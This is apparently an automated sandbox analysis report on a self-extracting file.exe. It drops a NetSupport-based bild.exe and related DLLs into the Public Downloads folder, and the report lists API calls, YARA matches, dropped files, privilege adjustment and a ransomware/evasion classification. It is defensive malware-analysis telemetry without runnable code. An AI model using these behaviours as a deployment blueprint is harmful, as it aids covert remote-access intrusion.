Code function: 1_2_110076F0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

1_2_110076F0

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_11113880 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,

1_2_11113880

Source: Yara match	File source: 0.3.file.exe.2acb800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Downloads\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_111158B0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,

1_2_111158B0

Source: C:\Users\Public\Downloads\bild.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D7070: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_001D7070

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_1115DB40 FindWindowA,_memset,CreateProcessAsUserA,GetLastError,WinExec,CloseHandle,CloseHandle,CloseHandle,WinExec,

1_2_1115DB40

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,

1_2_1102D330

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E5984	0_2_001E5984
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D8409	0_2_001D8409
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DE045	0_2_001DE045
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001FE8D4	0_2_001FE8D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E30E6	0_2_001E30E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EE94A	0_2_001EE94A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DD1D2	0_2_001DD1D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DBA1A	0_2_001DBA1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D3203	0_2_001D3203
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EF25E	0_2_001EF25E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EFAC8	0_2_001EFAC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E2B3A	0_2_001E2B3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001FA35E	0_2_001FA35E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F2B78	0_2_001F2B78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E63F2	0_2_001E63F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DDBE2	0_2_001DDBE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DEC97	0_2_001DEC97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E5DB9	0_2_001E5DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E2DB5	0_2_001E2DB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DD5E4	0_2_001DD5E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EEE46	0_2_001EEE46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D5E96	0_2_001D5E96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EF693	0_2_001EF693
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F9EB0	0_2_001F9EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D276C	0_2_001D276C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E4FB5	0_2_001E4FB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D3FC5	0_2_001D3FC5
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110733B0	1_2_110733B0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11029590	1_2_11029590
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11061C90	1_2_11061C90
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11033010	1_2_11033010
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11163220	1_2_11163220
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11167485	1_2_11167485
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110454F0	1_2_110454F0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1101B760	1_2_1101B760
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_111258B0	1_2_111258B0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1101BBA0	1_2_1101BBA0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11087C60	1_2_11087C60
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11070090	1_2_11070090
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11080480	1_2_11080480
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1115E980	1_2_1115E980
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1101C9C0	1_2_1101C9C0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110088AB	1_2_110088AB
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11050D80	1_2_11050D80
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9429A0	1_2_6C9429A0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9D6E18	1_2_6C9D6E18
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C976E24	1_2_6C976E24
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C976E28	1_2_6C976E28
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C990919	1_2_6C990919
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9F0915	1_2_6C9F0915
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9AEB1A	1_2_6C9AEB1A
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C978468	1_2_6C978468
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9845AE	1_2_6C9845AE
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6CA067FF	1_2_6CA067FF
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9DE7F1	1_2_6C9DE7F1

Source: C:\Users\Public\Downloads\bild.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 11146450 appears 599 times
Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 110278E0 appears 47 times
Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 1116F010 appears 37 times
Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 11029450 appears 992 times
Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 111603E3 appears 41 times
Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 1105DD10 appears 289 times
Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 11081BB0 appears 42 times
Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 6C970950 appears 65 times
Source: C:\Users\Public\Downloads\bild.exe	Code function: String function: 11164010 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001ECDF0 appears 37 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001ED870 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001ECEC0 appears 53 times

Source: file.exe, 00000000.00000003.1740000186.0000000002C35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepcicl32.dll2 vs file.exe
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclient32.exe. vs file.exe
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametcctl32.dll2 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal84.rans.evad.winEXE@3/12@1/2

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_11059C50 GetLastError,FormatMessageA,LocalFree,

1_2_11059C50

Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1109D440 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,		1_2_1109D440
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1109D4D0 AdjustTokenPrivileges,CloseHandle,		1_2_1109D4D0

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_11115B70 CoInitialize,CoCreateInstance,LoadLibraryA,GetProcAddress,SHGetSettings,FreeLibrary,CoUninitialize,

1_2_11115B70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001E8BD0 FindResourceW,DeleteObject,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_001E8BD0

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_11127E10 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

1_2_11127E10

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Downloads\__tmp_rar_sfx_access_check_5452468

Jump to behavior

Source: C:\Users\Public\Downloads\bild.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe	Command line argument: *x"	0_2_001EC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: *a!	0_2_001EC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: 8y"	0_2_001EC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: sfxname	0_2_001EC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: sfxstime	0_2_001EC131
Source: C:\Users\user\Desktop\file.exe	Command line argument: STARTDLG	0_2_001EC131

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\Public\Downloads\bild.exe "C:\Users\Public\Downloads\bild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\Public\Downloads\bild.exe "C:\Users\Public\Downloads\bild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File written: C:\Users\Public\Downloads\client32.ini

Jump to behavior

Source: C:\Users\Public\Downloads\bild.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2137945 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\Public\Downloads\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: file.exe
Source:	Binary string: msvcr100.i386.pdb source: bild.exe, bild.exe, 00000001.00000002.4170524693.000000006C961000.00000020.00000001.01000000.0000000B.sdmp, msvcr100.dll.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: bild.exe, 00000001.00000002.4170801639.000000006FC32000.00000002.00000001.01000000.0000000A.sdmp, PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: file.exe, 00000000.00000003.1740000186.0000000002915000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000000.1742735258.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, bild.exe, 00000001.00000002.4167843040.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, bild.exe.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: bild.exe, 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: bild.exe, 00000001.00000002.4170462627.000000006C945000.00000002.00000001.01000000.0000000C.sdmp, pcicapi.dll.0.dr

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_11029590 GetTickCount,LoadLibraryA,GetProcAddress,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

1_2_11029590

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Downloads\__tmp_rar_sfx_access_check_5452468

Jump to behavior

Source: PCICL32.DLL.0.dr

Static PE information: section name: .hhshare

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001ED8B6 push ecx; ret	0_2_001ED8C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001ECDF0 push eax; ret	0_2_001ECE0E
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1116F055 push ecx; ret	1_2_1116F068
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11169F49 push ecx; ret	1_2_11169F5C
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11040E01 push 3BFFFFFEh; ret	1_2_11040E06
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9440A5 push ecx; ret	1_2_6C9440B8
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C962D80 push eax; ret	1_2_6C962D9E
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C970995 push ecx; ret	1_2_6C9709A8
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C98A6AA push EF3FEFD4h; iretd	1_2_6C98A6B1

Source: msvcr100.dll.0.dr

Static PE information: section name: .text entropy: 6.909044922675825

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Downloads\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Downloads\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Downloads\bild.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Downloads\msvcr100.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Downloads\pcicapi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Downloads\PCICL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Downloads\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\Public\Downloads\PCICHEK.DLL	Jump to dropped file

Source: C:\Users\Public\Downloads\bild.exe

1_2_11127E10

Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11139090 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	1_2_11139090
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1115B1D0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	1_2_1115B1D0
